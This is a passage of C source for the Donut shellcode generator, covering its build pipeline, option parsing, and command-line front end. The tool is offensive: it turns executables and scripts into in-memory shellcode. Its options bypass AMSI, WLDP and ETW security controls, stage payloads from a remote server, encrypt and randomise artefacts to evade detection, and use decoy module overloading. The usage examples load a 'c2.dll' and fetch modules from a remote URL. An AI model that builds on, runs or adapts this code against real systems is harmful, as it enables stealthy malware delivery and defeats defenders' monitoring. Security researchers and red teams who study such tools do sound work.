c->mod = c->pic = c->inst = NULL;
|
|
c->mod_len = c->pic_len = c->inst_len = 0;
|
|
|
|
// 1. validate the loader configuration
|
|
err = validate_loader_cfg(c);
|
|
if(err == DONUT_ERROR_OK) {
|
|
// 2. get information about the file to execute in memory
|
|
err = read_file_info(c);
|
|
if(err == DONUT_ERROR_OK) {
|
|
// 3. validate the module configuration
|
|
err = validate_file_cfg(c);
|
|
if(err == DONUT_ERROR_OK) {
|
|
// 4. build the module
|
|
err = build_module(c);
|
|
if(err == DONUT_ERROR_OK) {
|
|
// 5. build the instance
|
|
err = build_instance(c);
|
|
if(err == DONUT_ERROR_OK) {
|
|
// 6. build the loader
|
|
err = build_loader(c);
|
|
if(err == DONUT_ERROR_OK) {
|
|
// 7. save loader and any additional files to disk
|
|
err = save_loader(c);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
// if there was some error, release resources
|
|
if(err != DONUT_ERROR_OK) {
|
|
DonutDelete(c);
|
|
}
|
|
DPRINT("Leaving with error : %" PRId32, err);
|
|
return err;
|
|
}
|
|
|
|
/**
|
|
* Function: DonutDelete
|
|
* ----------------------------
|
|
* Releases memory allocated by internal Donut functions.
|
|
*
|
|
* INPUT : Pointer to a Donut configuration previously used by DonutCreate.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
EXPORT_FUNC
|
|
int DonutDelete(PDONUT_CONFIG c) {
|
|
|
|
DPRINT("Entering.");
|
|
if(c == NULL) {
|
|
return DONUT_ERROR_INVALID_PARAMETER;
|
|
}
|
|
// free module
|
|
if(c->mod != NULL) {
|
|
DPRINT("Releasing memory for module.");
|
|
free(c->mod);
|
|
c->mod = NULL;
|
|
}
|
|
// free instance
|
|
if(c->inst != NULL) {
|
|
DPRINT("Releasing memory for configuration.");
|
|
free(c->inst);
|
|
c->inst = NULL;
|
|
}
|
|
// free loader
|
|
if(c->pic != NULL) {
|
|
DPRINT("Releasing memory for loader.");
|
|
free(c->pic);
|
|
c->pic = NULL;
|
|
}
|
|
unmap_file();
|
|
|
|
DPRINT("Leaving.");
|
|
return DONUT_ERROR_OK;
|
|
}
|
|
|
|
/**
|
|
* Function: DonutError
|
|
* ----------------------------
|
|
* Converts Donut error code into a string
|
|
*
|
|
* INPUT : error code returned by DonutCreate
|
|
*
|
|
* OUTPUT : error code as a string
|
|
*/
|
|
EXPORT_FUNC
|
|
const char *DonutError(int err) {
|
|
static const char *str="N/A";
|
|
|
|
switch(err) {
|
|
case DONUT_ERROR_OK:
|
|
str = "No error.";
|
|
break;
|
|
case DONUT_ERROR_FILE_NOT_FOUND:
|
|
str = "File not found.";
|
|
break;
|
|
case DONUT_ERROR_FILE_EMPTY:
|
|
str = "File is empty.";
|
|
break;
|
|
case DONUT_ERROR_FILE_ACCESS:
|
|
str = "Cannot open file.";
|
|
break;
|
|
case DONUT_ERROR_FILE_INVALID:
|
|
str = "File is invalid.";
|
|
break;
|
|
case DONUT_ERROR_NET_PARAMS:
|
|
str = "File is a .NET DLL. Donut requires a class and method.";
|
|
break;
|
|
case DONUT_ERROR_NO_MEMORY:
|
|
str = "Memory allocation failed.";
|
|
break;
|
|
case DONUT_ERROR_INVALID_ARCH:
|
|
str = "Invalid architecture specified.";
|
|
break;
|
|
case DONUT_ERROR_INVALID_URL:
|
|
str = "Invalid URL.";
|
|
break;
|
|
case DONUT_ERROR_URL_LENGTH:
|
|
str = "Invalid URL length.";
|
|
break;
|
|
case DONUT_ERROR_INVALID_PARAMETER:
|
|
str = "Invalid parameter.";
|
|
break;
|
|
case DONUT_ERROR_RANDOM:
|
|
str = "Error generating random values.";
|
|
break;
|
|
case DONUT_ERROR_DLL_FUNCTION:
|
|
str = "Unable to locate DLL function provided. Names are case sensitive.";
|
|
break;
|
|
case DONUT_ERROR_ARCH_MISMATCH:
|
|
str = "Target architecture cannot support selected DLL/EXE file.";
|
|
break;
|
|
case DONUT_ERROR_DLL_PARAM:
|
|
str = "You've supplied parameters for an unmanaged DLL. Donut also requires a DLL function.";
|
|
break;
|
|
case DONUT_ERROR_BYPASS_INVALID:
|
|
str = "Invalid bypass option specified.";
|
|
break;
|
|
case DONUT_ERROR_HEADERS_INVALID:
|
|
str = "Invalid PE headers preservation option.";
|
|
break;
|
|
case DONUT_ERROR_INVALID_FORMAT:
|
|
str = "The output format is invalid.";
|
|
break;
|
|
case DONUT_ERROR_INVALID_ENGINE:
|
|
str = "The compression engine is invalid.";
|
|
break;
|
|
case DONUT_ERROR_COMPRESSION:
|
|
str = "There was an error during compression.";
|
|
break;
|
|
case DONUT_ERROR_INVALID_ENTROPY:
|
|
str = "Invalid entropy level specified.";
|
|
break;
|
|
case DONUT_ERROR_MIXED_ASSEMBLY:
|
|
str = "Mixed (native and managed) assemblies are currently unsupported.";
|
|
break;
|
|
case DONUT_ERROR_DECOY_INVALID:
|
|
str = "Path of decoy module is invalid.";
|
|
break;
|
|
}
|
|
DPRINT("Error result : %s", str);
|
|
return str;
|
|
}
|
|
|
|
#ifdef DONUT_EXE
|
|
|
|
#define OPT_MAX_STRING 256
|
|
|
|
#define OPT_TYPE_NONE 1
|
|
#define OPT_TYPE_STRING 2
|
|
#define OPT_TYPE_DEC 3
|
|
#define OPT_TYPE_HEX 4
|
|
#define OPT_TYPE_FLAG 5
|
|
#define OPT_TYPE_DEC64 6
|
|
#define OPT_TYPE_HEX64 7
|
|
|
|
// structure to hold data of any type
|
|
typedef union _opt_arg_t {
|
|
int flag;
|
|
|
|
int8_t s8;
|
|
uint8_t u8;
|
|
int8_t *s8_ptr;
|
|
uint8_t *u8_ptr;
|
|
|
|
int16_t s16;
|
|
uint16_t u16;
|
|
int16_t *s16_ptr;
|
|
uint16_t *u16_ptr;
|
|
|
|
int32_t s32;
|
|
uint32_t u32;
|
|
int32_t *s32_ptr;
|
|
uint32_t *u32_ptr;
|
|
|
|
int64_t s64;
|
|
uint64_t u64;
|
|
int64_t *s64_ptr;
|
|
uint64_t *u64_ptr;
|
|
|
|
void *ptr;
|
|
char str[OPT_MAX_STRING+1];
|
|
} opt_arg;
|
|
|
|
typedef void (*void_callback_t)(void); // execute callback with no return value or argument
|
|
typedef int (*arg_callback_t)(opt_arg*,void*); // process argument, optionally store in optarg
|
|
|
|
static int get_opt(
|
|
int argc, // total number of elements in argv
|
|
char *argv[], // argument array
|
|
int arg_type, // type of argument expected (none, flag, decimal, hexadecimal, string)
|
|
void *output, // pointer to variable that stores argument
|
|
char *short_opt, // short form of option. e.g: -a
|
|
char *long_opt, // long form of option. e.g: --arch
|
|
void *callback) // callback function to process argument
|
|
{
|
|
int valid = 0, i, req = 0, opt_len, opt_type;
|
|
char *args=NULL, *opt=NULL, *arg=NULL, *tmp=NULL;
|
|
opt_arg *optarg = (opt_arg*)output;
|
|
void_callback_t void_cb;
|
|
arg_callback_t arg_cb;
|
|
|
|
// perform some basic validation
|
|
if(argc <= 1) return 0;
|
|
if(argv == NULL) return 0;
|
|
|
|
if(arg_type != OPT_TYPE_NONE &&
|
|
arg_type != OPT_TYPE_STRING &&
|
|
arg_type != OPT_TYPE_DEC &&
|
|
arg_type != OPT_TYPE_HEX &&
|
|
arg_type != OPT_TYPE_FLAG) return 0;
|
|
|
|
DPRINT("Arg type for %s, %s : %s",
|
|
short_opt != NULL ? short_opt : "N/A",
|
|
long_opt != NULL ? long_opt : "N/A",
|
|
arg_type == OPT_TYPE_NONE ? "None" :
|
|
arg_type == OPT_TYPE_STRING ? "String" :
|
|
arg_type == OPT_TYPE_DEC ? "Decimal" :
|
|
arg_type == OPT_TYPE_HEX ? "Hexadecimal" :
|
|
arg_type == OPT_TYPE_FLAG ? "Flag" : "Unknown");
|
|
|
|
// for each argument in array
|
|
for(i=1; i<argc && !valid; i++) {
|
|
// set the current argument to examine
|
|
arg = argv[i];
|
|
// if it doesn't contain a switch, skip it
|
|
if(*arg != '-') continue;
|
|
// we have a switch. initially, we assume short form
|
|
arg++;
|
|
opt_type = 0;
|
|
// long form? skip one more and change the option type
|
|
if(*arg == '-') {
|
|
arg++;
|
|
opt_type++;
|
|
}
|
|
|
|
// is an argument required by the user?
|
|
req = ((arg_type != OPT_TYPE_NONE) && (arg_type != OPT_TYPE_FLAG));
|
|
// use short or long form for current argument being examined
|
|
opt = (opt_type) ? long_opt : short_opt;
|
|
// if no form provided by user for current argument, skip it
|
|
if(opt == NULL) continue;
|
|
// copy string to dynamic buffer
|
|
opt_len = strlen(opt);
|
|
if(opt_len == 0) continue;
|
|
|
|
tmp = calloc(sizeof(uint8_t), opt_len + 1);
|
|
if(tmp == NULL) {
|
|
DPRINT("Unable to allocate memory for %s.\n", opt);
|
|
continue;
|
|
} else {
|
|
strcpy(tmp, opt);
|
|
}
|
|
// tokenize the string.
|
|
opt = strtok(tmp, ";");
|
|
// while we have options
|
|
while(opt != NULL && !valid) {
|
|
// get the length
|
|
opt_len = strlen(opt);
|
|
// do we have a match?
|
|
if(!strncmp(opt, arg, opt_len)) {
|
|
//
|
|
// at this point, we have a valid matching argument
|
|
// if something fails from here on in, return invalid
|
|
//
|
|
// skip the option
|
|
arg += opt_len;
|
|
// an argument is *not* required
|
|
if(!req) {
|
|
// so is the next byte non-zero? return invalid
|
|
if(*arg != 0) return 0;
|
|
} else {
|
|
// an argument is required
|
|
// if the next byte is a colon or assignment operator, skip it.
|
|
if(*arg == ':' || *arg == '=') arg++;
|
|
|
|
// if the next byte is zero
|
|
if(*arg == 0) {
|
|
// and no arguments left. return invalid
|
|
if((i + 1) >= argc) return 0;
|
|
args = argv[i + 1];
|
|
} else {
|
|
args = arg;
|
|
}
|
|
}
|
|
// end loop
|
|
valid = 1;
|
|
break;
|
|
}
|
|
opt = strtok(NULL, ";");
|
|
}
|
|
if(tmp != NULL) free(tmp);
|
|
}
|
|
|
|
// if valid option found
|
|
if(valid) {
|
|
DPRINT("Found match");
|
|
// ..and a callback exists
|
|
if(callback != NULL) {
|
|
// if we have a parameter
|
|
if(args != NULL) {
|
|
DPRINT("Executing callback with %s.", args);
|
|
// execute with parameter
|
|
arg_cb = (arg_callback_t)callback;
|
|
arg_cb(optarg, args);
|
|
} else {
|
|
DPRINT("Executing callback.");
|
|
// otherwise, execute without
|
|
void_cb = (void_callback_t)callback;
|
|
void_cb();
|
|
}
|
|
} else {
|
|
// there's no callback, try process ourselves
|
|
if(args != NULL) {
|
|
DPRINT("Parsing %s\n", args);
|
|
switch(arg_type) {
|
|
case OPT_TYPE_DEC:
|
|
case OPT_TYPE_HEX:
|
|
DPRINT("Converting %s to 32-bit binary", args);
|
|
optarg->u32 = strtoul(args, NULL, arg_type == OPT_TYPE_DEC ? 10 : 16);
|
|
break;
|
|
case OPT_TYPE_DEC64:
|
|
case OPT_TYPE_HEX64:
|
|
DPRINT("Converting %s to 64-bit binary", args);
|
|
optarg->u64 = strtoull(args, NULL, arg_type == OPT_TYPE_DEC64 ? 10 : 16);
|
|
break;
|
|
case OPT_TYPE_STRING:
|
|
DPRINT("Copying %s to output", args);
|
|
strncpy(optarg->str, args, OPT_MAX_STRING);
|
|
break;
|
|
}
|
|
} else {
|
|
// there's no argument, just set the flag
|
|
DPRINT("Setting flag");
|
|
optarg->flag = 1;
|
|
}
|
|
}
|
|
}
|
|
// return result
|
|
return valid;
|
|
}
|
|
|
|
// callback to validate architecture
|
|
static int validate_arch(opt_arg *arg, void *args) {
|
|
char *str = (char*)args;
|
|
|
|
arg->u32 = 0;
|
|
if(str == NULL) return 0;
|
|
|
|
// single digit? convert to binary
|
|
if(strlen(str) == 1 && isdigit((int)*str)) {
|
|
arg->u32 = atoi(str);
|
|
} else {
|
|
// otherwise, try map it to digit
|
|
if(!strcasecmp("x86", str)) {
|
|
arg->u32 = DONUT_ARCH_X86;
|
|
} else
|
|
if(!strcasecmp("amd64", str)) {
|
|
arg->u32 = DONUT_ARCH_X64;
|
|
} else
|
|
if(!strcasecmp("x84", str)) {
|
|
arg->u32 = DONUT_ARCH_X84;
|
|
}
|
|
}
|
|
|
|
// validate
|
|
switch(arg->u32) {
|
|
case DONUT_ARCH_X86:
|
|
case DONUT_ARCH_X64:
|
|
case DONUT_ARCH_X84:
|
|
break;
|
|
default: {
|
|
printf("WARNING: Invalid architecture specified: %"PRId32" -- setting to x86+amd64\n", arg->u32);
|
|
arg->u32 = DONUT_ARCH_X84;
|
|
}
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
static int validate_exit(opt_arg *arg, void *args) {
|
|
char *str = (char*)args;
|
|
|
|
arg->u32 = 0;
|
|
if(str == NULL) return 0;
|
|
|
|
if(strlen(str) == 1 && isdigit((int)*str)) {
|
|
arg->u32 = atoi(str);
|
|
} else {
|
|
if(!strcasecmp("thread", str)) {
|
|
arg->u32 = DONUT_OPT_EXIT_THREAD;
|
|
} else
|
|
if(!strcasecmp("process", str)) {
|
|
arg->u32 = DONUT_OPT_EXIT_PROCESS;
|
|
}
|
|
if(!strcasecmp("block", str)) {
|
|
arg->u32 = DONUT_OPT_EXIT_BLOCK;
|
|
}
|
|
}
|
|
|
|
switch(arg->u32) {
|
|
case DONUT_OPT_EXIT_THREAD:
|
|
case DONUT_OPT_EXIT_PROCESS:
|
|
case DONUT_OPT_EXIT_BLOCK:
|
|
break;
|
|
default: {
|
|
printf("WARNING: Invalid exit option specified: %"PRId32" -- setting to thread\n", arg->u32);
|
|
arg->u32 = DONUT_OPT_EXIT_THREAD;
|
|
}
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
static int validate_entropy(opt_arg *arg, void *args) {
|
|
char *str = (char*)args;
|
|
|
|
arg->u32 = 0;
|
|
if(str == NULL) {
|
|
DPRINT("NULL argument.");
|
|
return 0;
|
|
}
|
|
if(strlen(str) == 1 && isdigit((int)*str)) {
|
|
DPRINT("Converting %s to number.", str);
|
|
arg->u32 = strtoul(str, NULL, 10);
|
|
} else {
|
|
if(!strcasecmp("none", str)) {
|
|
arg->u32 = DONUT_ENTROPY_NONE;
|
|
} else
|
|
if(!strcasecmp("low", str)) {
|
|
arg->u32 = DONUT_ENTROPY_RANDOM;
|
|
} else
|
|
if(!strcasecmp("full", str)) {
|
|
arg->u32 = DONUT_ENTROPY_DEFAULT;
|
|
}
|
|
}
|
|
|
|
// validate
|
|
switch(arg->u32) {
|
|
case DONUT_ENTROPY_NONE:
|
|
case DONUT_ENTROPY_RANDOM:
|
|
case DONUT_ENTROPY_DEFAULT:
|
|
break;
|
|
default: {
|
|
printf("WARNING: Invalid entropy option specified: %"PRId32" -- setting to default\n", arg->u32);
|
|
arg->u32 = DONUT_ENTROPY_DEFAULT;
|
|
}
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
// callback to validate format
|
|
static int validate_format(opt_arg *arg, void *args) {
|
|
char *str = (char*)args;
|
|
|
|
arg->u32 = 0;
|
|
if(str == NULL) return 0;
|
|
|
|
// if it's a single digit, return it as binary
|
|
if(strlen(str) == 1 && isdigit((int)*str)) {
|
|
arg->u32 = atoi(str);
|
|
} else {
|
|
// otherwise, try map it to digit
|
|
if(!strcasecmp("bin", str)) {
|
|
arg->u32 = DONUT_FORMAT_BINARY;
|
|
} else
|
|
if(!strcasecmp("base64", str)) {
|
|
arg->u32 = DONUT_FORMAT_BASE64;
|
|
} else
|
|
if(!strcasecmp("c", str)) {
|
|
arg->u32 = DONUT_FORMAT_C;
|
|
} else
|
|
if(!strcasecmp("rb", str) || !strcasecmp("ruby", str)) {
|
|
arg->u32 = DONUT_FORMAT_RUBY;
|
|
} else
|
|
if(!strcasecmp("py", str) || !strcasecmp("python", str)) {
|
|
arg->u32 = DONUT_FORMAT_PYTHON;
|
|
} else
|
|
if(!strcasecmp("ps", str) || !strcasecmp("powershell", str)) {
|
|
arg->u32 = DONUT_FORMAT_POWERSHELL;
|
|
} else
|
|
if(!strcasecmp("cs", str) || !strcasecmp("csharp", str)) {
|
|
arg->u32 = DONUT_FORMAT_CSHARP;
|
|
} else
|
|
if(!strcasecmp("hex", str)) {
|
|
arg->u32 = DONUT_FORMAT_HEX;
|
|
}
|
|
}
|
|
// validate
|
|
switch(arg->u32) {
|
|
case DONUT_FORMAT_BINARY:
|
|
case DONUT_FORMAT_BASE64:
|
|
case DONUT_FORMAT_C:
|
|
case DONUT_FORMAT_RUBY:
|
|
case DONUT_FORMAT_PYTHON:
|
|
case DONUT_FORMAT_POWERSHELL:
|
|
case DONUT_FORMAT_CSHARP:
|
|
case DONUT_FORMAT_HEX:
|
|
break;
|
|
default: {
|
|
printf("WARNING: Invalid format specified: %"PRId32" -- setting to binary.\n", arg->u32);
|
|
arg->u32 = DONUT_FORMAT_BINARY;
|
|
}
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
// --bypass=w
|
|
//
|
|
//
|
|
// a = amsi
|
|
// e = etw
|
|
// w = wldp
|
|
//
|
|
// --bypass=w
|
|
static int validate_bypass(opt_arg *arg, void *args) {
|
|
char *str = (char*)args;
|
|
|
|
arg->u32 = 0;
|
|
if(str == NULL) return 0;
|
|
|
|
// just temporary
|
|
arg->u32 = atoi(str);
|
|
|
|
return 1;
|
|
}
|
|
|
|
// calback to validate headers options
|
|
static int validate_headers(opt_arg *arg, void *args) {
|
|
char *str = (char*)args;
|
|
|
|
arg->u32 = 0;
|
|
if(str == NULL) return 0;
|
|
|
|
// just temporary
|
|
arg->u32 = atoi(str);
|
|
|
|
return 1;
|
|
}
|
|
|
|
static void usage (void) {
|
|
printf(" usage: donut [options] <EXE/DLL/VBS/JS>\n\n");
|
|
printf(" Only the finest artisanal donuts are made of shells.\n\n");
|
|
printf(" -MODULE OPTIONS-\n\n");
|
|
printf(" -n,--modname: <name> Module name for HTTP staging. If entropy is enabled, this is generated randomly.\n");
|
|
printf(" -s,--server: <server> Server that will host the Donut module. Credentials may be provided in the following format: https://username:password@192.168.0.1/\n");
|
|
printf(" -e,--entropy: <level> Entropy. 1=None, 2=Use random names, 3=Random names + symmetric encryption (default)\n\n");
|
|
|
|
printf(" -PIC/SHELLCODE OPTIONS-\n\n");
|
|
printf(" -a,--arch: <arch>,--cpu: <arch> Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default).\n");
|
|
printf(" -o,--output: <path> Output file to save loader. Default is \"loader.bin\"\n");
|
|
printf(" -f,--format: <format> Output format. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex\n");
|
|
printf(" -y,--fork: <addr> Create thread for loader and continue execution at <addr> supplied.\n");
|
|
printf(" -x,--exit: <action> Exit behaviour. 1=Exit thread (default), 2=Exit process, 3=Do not exit or cleanup and block indefinitely\n\n");
|
|
|
|
printf(" -FILE OPTIONS-\n\n");
|
|
printf(" -c,--class: <namespace.class> Optional class name. (required for .NET DLL)\n");
|
|
printf(" -d,--domain: <name> AppDomain name to create for .NET assembly. If entropy is enabled, this is generated randomly.\n");
|
|
printf(" -i,--input: <path>,--file: <path> Input file to execute in-memory.\n");
|
|
printf(" -m,--method: <method>,--function: <api> Optional method or function for DLL. (a method is required for .NET DLL)\n");
|
|
printf(" -p,--args: <arguments> Optional parameters/command line inside quotations for DLL method/function or EXE.\n");
|
|
printf(" -w,--unicode Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)\n");
|
|
printf(" -r,--runtime: <version> CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.\n");
|
|
printf(" -t,--thread Execute the entrypoint of an unmanaged EXE as a thread.\n\n");
|
|
|
|
printf(" -EXTRA-\n\n");
|
|
#ifdef WINDOWS
|
|
printf(" -z,--compress: <engine> Pack/Compress file. 1=None, 2=aPLib, 3=LZNT1, 4=Xpress.\n");
|
|
#else
|
|
printf(" -z,--compress: <engine> Pack/Compress file. 1=None, 2=aPLib\n");
|
|
#endif
|
|
printf(" -b,--bypass: <level> Bypass AMSI/WLDP/ETW : 1=None, 2=Abort on fail, 3=Continue on fail.(default)\n\n");
|
|
printf(" -k,--headers: <level> Preserve PE headers. 1=Overwrite (default), 2=Keep all\n\n");
|
|
printf(" -j,--decoy: <level> Optional path of decoy module for Module Overloading.\n\n");
|
|
|
|
printf(" examples:\n\n");
|
|
printf(" donut -ic2.dll\n");
|
|
printf(" donut --arch:x86 --class:TestClass --method:RunProcess --args:notepad.exe --input:loader.dll\n");
|
|
printf(" donut -iloader.dll -c TestClass -m RunProcess -p\"calc notepad\" -s http://remote_server.com/modules/\n");
|
|
|
|
exit (0);
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
DONUT_CONFIG c;
|
|
int err;
|
|
char *mod_type;
|
|
char *arch_str[3] = { "x86", "amd64", "x86+amd64" };
|
|
char *inst_type[2]= { "Embedded", "HTTP" };
|
|
|
|
printf("\n");
|
|
printf(" [ Donut shellcode generator v1 (built " __DATE__ " " __TIME__ ")\n");
|
|
printf(" [ Copyright (c) 2019-2021 TheWover, Odzhan\n\n");
|
|
|
|
// zero initialize configuration
|
|
memset(&c, 0, sizeof(c));
|
|
|
|
// default settings
|
|
c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded
|
|
c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64)
|
|
c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP/ETW fails
|
|
c.headers = DONUT_HEADERS_OVERWRITE;// overwrites PE headers
|
|
c.format = DONUT_FORMAT_BINARY; // default output format
|
|
c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default
|
|
c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default
|
|
c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread
|
|
c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function
|
|
|
|
// get options
|
|
get_opt(argc, argv, OPT_TYPE_NONE, NULL, "h;?", "help", usage);
|
|
get_opt(argc, argv, OPT_TYPE_DEC, &c.arch, "a", "arch", validate_arch);
|
|
get_opt(argc, argv, OPT_TYPE_DEC, &c.bypass, "b", "bypass", validate_bypass);
|
|
get_opt(argc, argv, OPT_TYPE_DEC, &c.headers, "k", "headers", validate_headers);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.cls, "c", "class", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.domain, "d", "domain", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_DEC, &c.entropy, "e", "entropy", validate_entropy);
|
|
get_opt(argc, argv, OPT_TYPE_DEC, &c.format, "f", "format", validate_format);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.input, "i", "input;file", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.method, "m", "method;function", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.modname, "n", "modname", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.decoy, "j", "decoy", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.output, "o", "output", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.args, "p", "params;args", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.runtime, "r", "runtime", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_STRING, c.server, "s", "server", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_FLAG, &c.thread, "t", "thread", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_FLAG, &c.unicode, "w", "unicode", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_DEC, &c.exit_opt,"x", "exit", validate_exit);
|
|
get_opt(argc, argv, OPT_TYPE_HEX, &c.oep, "y", "oep;fork", NULL);
|
|
get_opt(argc, argv, OPT_TYPE_DEC, &c.compress,"z", "compress", NULL);
|
|
|
|
// no file? show usage and exit
|
|
if(c.input[0] == 0) {
|
|
usage();
|
|
}
|
|
|
|
// server specified?
|
|
if(c.server[0] != 0) {
|
|
c.inst_type = DONUT_INSTANCE_HTTP;
|
|
}
|
|
|
|
// generate loader from configuration
|
|
err = DonutCreate(&c);
|
|
|
|
if(err != DONUT_ERROR_OK) {
|
|
printf(" [ Error : %s\n", DonutError(err));
|
|
return 0;
|
|
}
|
|
|
|
switch(c.mod_type) {
|
|
case DONUT_MODULE_DLL:
|
|
mod_type = "DLL";
|
|
break;
|
|
case DONUT_MODULE_EXE:
|
|
mod_type = "EXE";
|
|
break;
|
|
case DONUT_MODULE_NET_DLL:
|
|
mod_type = ".NET DLL";
|
|
break;
|
|
case DONUT_MODULE_NET_EXE:
|
|
mod_type = ".NET EXE";
|
|
break;
|
|
case DONUT_MODULE_VBS:
|
|
mod_type = "VBScript";
|
|
break;
|
|
case DONUT_MODULE_JS:
|
|
mod_type = "JScript";
|
|
break;
|
|
default:
|
|
mod_type = "Unrecognized";
|
|
break;
|
|
}
|
|
|
|
printf(" [ Instance type : %s\n", inst_type[c.inst_type - 1]);
|
|
printf(" [ Module file : \"%s\"\n", c.input);
|
|
printf(" [ Entropy : %s\n",
|
|
c.entropy == DONUT_ENTROPY_NONE ? "None" :
|
|
c.entropy == DONUT_ENTROPY_RANDOM ? "Random Names" : "Random names + Encryption");
|
|
|
|
if(c.compress != DONUT_COMPRESS_NONE) {
|
|
printf(" [ Compressed : %s (Reduced by %"PRId32"%%)\n",
|
|
c.compress == DONUT_COMPRESS_APLIB ? "aPLib" :
|
|
c.compress == DONUT_COMPRESS_LZNT1 ? "LZNT1" : "Xpress",
|
|
file_diff(c.zlen, c.len));
|
|
}
|
|
|
|
printf(" [ File type : %s\n", mod_type);
|
|
|
|
// if this is a .NET DLL, display the class and method
|
|
if(c.mod_type == DONUT_MODULE_NET_DLL) {
|
|
printf(" [ Class : %s\n", c.cls );
|
|
printf(" [ Method : %s\n", c.method);
|
|
printf(" [ Domain : %s\n",
|
|
c.domain[0] == 0 ? "Default" : c.domain);
|
|
} else
|
|
if(c.mod_type == DONUT_MODULE_DLL) {
|
|
printf(" [ Function : %s\n",
|
|
c.method[0] != 0 ? c.method : "DllMain");
|
|
}
|
|
|
|
// if parameters supplied, display them
|
|
if(c.args[0] != 0) {
|
|
printf(" [ Parameters : %s\n", c.args);
|
|
}
|
|
printf(" [ Target CPU : %s\n", arch_str[c.arch - 1]);
|
|
|
|
if(c.inst_type == DONUT_INSTANCE_HTTP) {
|
|
printf(" [ Module name : %s\n", c.modname);
|
|
printf(" [ Upload to : %s\n", c.server);
|
|
}
|
|
|
|
printf(" [ AMSI/WDLP/ETW : %s\n",
|
|
c.bypass == DONUT_BYPASS_NONE ? "none" :
|
|
c.bypass == DONUT_BYPASS_ABORT ? "abort" : "continue");
|
|
|
|
printf(" [ PE Headers : %s\n",
|
|
c.headers == DONUT_HEADERS_OVERWRITE ? "overwrite" :
|
|
c.headers == DONUT_HEADERS_KEEP ? "keep" : "Undefined");
|
|
|
|
printf(" [ Shellcode : \"%s\"\n", c.output);
|
|
if(c.oep != 0) {
|
|
printf(" [ OEP : 0x%"PRIX32"\n", c.oep);
|
|
}
|
|
|
|
// if decoy supplied, display the path
|
|
if(c.decoy[0] != 0) {
|
|
printf(" [ Decoy path : %s\n", c.decoy);
|
|
}
|
|
|
|
printf(" [ Exit : %s\n",
|
|
c.exit_opt == DONUT_OPT_EXIT_THREAD ? "Thread" :
|
|
c.exit_opt == DONUT_OPT_EXIT_PROCESS ? "Process" :
|
|
c.exit_opt == DONUT_OPT_EXIT_BLOCK ? "Block" : "Undefined");
|
|
DonutDelete(&c);
|
|
return 0;
|
|
}
|
|
#endif
|
|
|